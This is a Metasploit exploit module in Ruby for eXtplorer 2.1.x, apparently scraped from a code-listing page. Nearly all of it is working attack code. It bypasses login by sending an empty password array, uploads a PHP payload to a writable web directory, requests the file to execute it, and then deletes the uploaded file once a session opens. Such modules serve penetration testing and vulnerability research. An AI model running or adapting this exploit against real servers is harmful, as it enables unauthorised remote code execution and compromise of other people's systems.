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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 | ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "eXtplorer v2.1 Arbitrary File Upload Vulnerability", 'Description'=> %q{ This module exploits an authentication bypass vulnerability in eXtplorer versions 2.1.0 to 2.1.2 and 2.1.0RC5 when run as a standalone application. This application has an upload feature that allows an authenticated user with administrator roles to upload arbitrary files to any writable directory in the web root. This module uses an authentication bypass vulnerability to upload and execute a file. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit ], 'References' => [ [ 'OSVDB', '88751' ], [ 'BID', '57058' ], [ 'URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability' ], [ 'URL', 'http://extplorer.net/issues/105' ] ], 'Payload'=> { }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [ ['Automatic Targeting', { 'auto' => true }] ], 'Privileged' => false, 'DisclosureDate' => "Dec 31 2012", 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/com_extplorer_2.1.0/']), OptString.new('USERNAME',[true, 'The username for eXtplorer', 'admin']) ], self.class) end def check base= target_uri.path base << '/' if base[-1, 1] != '/' peer= "#{rhost}:#{rport}" # retrieve software version from ./extplorer.xml begin res = send_request_cgi({ 'method' => 'GET', 'uri'=> "#{base}extplorer.xml" }) if !res or res.code != 200 return Exploit::CheckCode::Safe end if res.body =~ /<version>2\.1\.(0RC\d|0|1|2)<\/version>/ return Exploit::CheckCode::Vulnerable end if res.body =~ /eXtplorer/ return Exploit::CheckCode::Safe end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{peer} - Connection failed") end return Exploit::CheckCode::Unknown end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") client.fs.file.rm("#{@fname}") else client.shell_command_token("rm #{@fname}") end end def upload(base, dir, fname, file) data = Rex::MIME::Message.new data.add_part(file, 'application/x-httpd-php', nil, "form-data; name=\"userfile[0]\"; filename=\"#{fname}\"") data.add_part("on", nil, nil, "form-data; name=\"overwrite_files\"") data.add_part("%2f#{dir}", nil, nil, "form-data; name=\"dir\"") data.add_part("com_extplorer", nil, nil, "form-data; name=\"option\"") data.add_part("upload", nil, nil, "form-data; name=\"action\"") data.add_part("xmlhttprequest", nil, nil, "form-data; name=\"requestType\"") data.add_part("true", nil, nil, "form-data; name=\"confirm\"") data_post = data.to_s data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') res = send_request_cgi({ 'method'=> 'POST', 'uri' => "#{base}index.php", 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data'=> data_post, 'cookie'=> datastore['COOKIE'], }) return res end def auth_bypass(base, user) res = send_request_cgi({ 'method' => 'POST', 'uri'=> "#{base}index.php", 'data' => "option=com_extplorer&action=login&type=extplorer&username=#{user}&password[]=", 'cookie' => datastore['COOKIE'], }) return res end def exploit base= target_uri.path base << '/' if base[-1, 1] != '/' @peer = "#{rhost}:#{rport}" @fname= rand_text_alphanumeric(rand(10)+6) + '.php' user= datastore['USERNAME'] datastore['COOKIE'] = "eXtplorer="+rand_text_alpha_lower(26)+";" # bypass auth print_status("#{@peer} - Authenticating as user (#{user})") res = auth_bypass(base, user) if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/ print_status("#{@peer} - Authenticated successfully") else fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed") end # search for writable directories print_status("#{@peer} - Retrieving writable subdirectories") begin res = send_request_cgi({ 'method'=> 'POST', 'uri' => "#{base}index.php", 'cookie'=> datastore['COOKIE'], 'data'=> "option=com_extplorer&action=getdircontents&dir=#{base}&sendWhat=dirs&node=ext_root", }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/ dir = "#{base}#{$1}" print_status("#{@peer} - Successfully retrieved writable subdirectory (#{$1})") else dir = "#{base}" print_error("#{@peer} - Could not find a writable subdirectory.") end # upload PHP payload print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes) to #{dir}") php = %Q|<?php #{payload.encoded} ?>| begin res = upload(base, dir, @fname, php) if res and res.code == 200 and res.body =~ /'message':'Upload successful\!'/ print_good("#{@peer} - File uploaded successfully") else fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end # search directories in the web root for the file print_status("#{@peer} - Searching directories for file (#{@fname})") begin res = send_request_cgi({ 'method' => 'POST', 'uri'=> "#{base}index.php", 'data' => "start=0&limit=10&option=com_extplorer&action=search&dir=#{base}&content=0&subdir=1&searchitem=#{@fname}", 'cookie' => datastore['COOKIE'], }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end if res and res.code == 200 and res.body =~ /'dir':'\\\/([^']+)'/ dir = $1.gsub('\\','') print_good("#{@peer} - Successfully found file") else print_error("#{@peer} - Failed to find file") end # retrieve and execute PHP payload print_status("#{@peer} - Executing payload (/#{dir}/#{@fname})") begin send_request_cgi({ 'method' => 'GET', 'uri'=> "/#{dir}/#{@fname}" }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end if res and res.code != 200 print_error("#{@peer} - Executing payload failed") end end end |
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